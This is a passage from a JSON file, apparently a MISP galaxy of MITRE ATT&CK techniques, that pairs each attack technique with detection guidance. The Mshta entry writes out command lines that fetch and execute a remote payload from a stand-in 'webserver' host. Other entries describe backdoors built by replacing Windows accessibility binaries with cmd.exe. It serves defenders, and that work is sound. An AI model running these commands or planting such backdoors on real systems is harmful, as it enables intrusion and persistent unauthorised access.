\"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", + "value": "Path Interception - T1034", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1034", + "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", + "http://support.microsoft.com/KB/103000", + "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", + "http://msdn.microsoft.com/en-us/library/ms682425", + "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", + "http://msdn.microsoft.com/en-us/library/ms687393", + "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx" + ], + "external_id": "T1034", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM", + "value": "Bootkit - T1067", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1067", + "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", + "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" + ], + "external_id": "T1067", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "MBR", + "VBR" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ] + }, + "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems", + "value": "Indicator Removal on Host - T1070", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1070" + ], + "external_id": "T1070", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach", + "value": "Exfiltration Over Other Network Medium - T1011", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1011" + ], + "external_id": "T1011", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87" + }, + { + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories", + "value": "Data from Local System - T1005", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1005" + ], + "external_id": "T1005", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.", + "value": "Web Shell - T1100", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1100", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "https://www.us-cert.gov/ncas/alerts/TA15-314A" + ], + "external_id": "T1100", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Anti-virus", + "File monitoring", + "Process monitoring", + "Authentication logs", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)\n\nDetection: LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: root\n\nContributors: Jeremy Galloway, Red Canary", + "value": "Kernel Modules and Extensions - T1215", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1215", + "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", + "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", + "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "https://github.com/f0rb1dd3n/Reptile", + "https://github.com/m0nad/Diamorphine", + "http://www.megasecurity.org/papers/Rootkits.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", + "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", + "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", + "https://en.wikipedia.org/wiki/Loadable%20kernel%20module#Linux", + "http://tldp.org/HOWTO/Module-HOWTO/x197.html" + ], + "external_id": "T1215", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "System calls", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "6be14413-578e-46c1-8304-310762b3ecd5" + }, + { + "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify service values in the Registry\n\nContributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire", + "value": "Service Registry Permissions Weakness - T1058", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1058", + "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://twitter.com/r0wdy%20/status/936365549553991680" + ], + "external_id": "T1058", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Services", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427" + }, + { + "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "value": "Mshta - T1170", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1170", + "https://en.wikipedia.org/wiki/HTML%20Application", + "https://msdn.microsoft.com/library/ms536471.aspx", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf", + "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", + "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "external_id": "T1170", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.", + "value": "Windows Admin Shares - T1077", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1077", + "https://en.wikipedia.org/wiki/Server%20Message%20Block", + "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "http://support.microsoft.com/kb/314984", + "https://technet.microsoft.com/bb490717.aspx", + "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", + "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx" + ], + "external_id": "T1077", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process use of network", + "Authentication logs", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.\n\nDetection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Praetorian", + "value": "Winlogon Helper DLL - T1004", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1004", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + ], + "external_id": "T1004", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User", + "value": "Dylib Hijacking - T1157", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1157", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" + ], + "external_id": "T1157", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda" + }, + { + "description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials", + "value": "Remote Services - T1021", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1021" + ], + "external_id": "T1021", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center", + "value": "Accessibility Features - T1015", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1015", + "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", + "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", + "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" + ], + "external_id": "T1015", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nPermissions Required: User\n\nSystem Requirements: Access to shared folders and content with write permissions\n\nContributors: David Routin", + "value": "Taint Shared Content - T1080", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1080", + "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" + ], + "external_id": "T1080", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c" + }, + { + "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components: \n\nMultiple ways of delivering exploit code to a browser exist, including:\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n# A user visits a website that is used to host the adversary controlled content.\n# Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n#* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n# Upon finding a vulnerable version, exploit code is delivered to the browser.\n# If exploitation is successful, then it will give the adversary code execution on 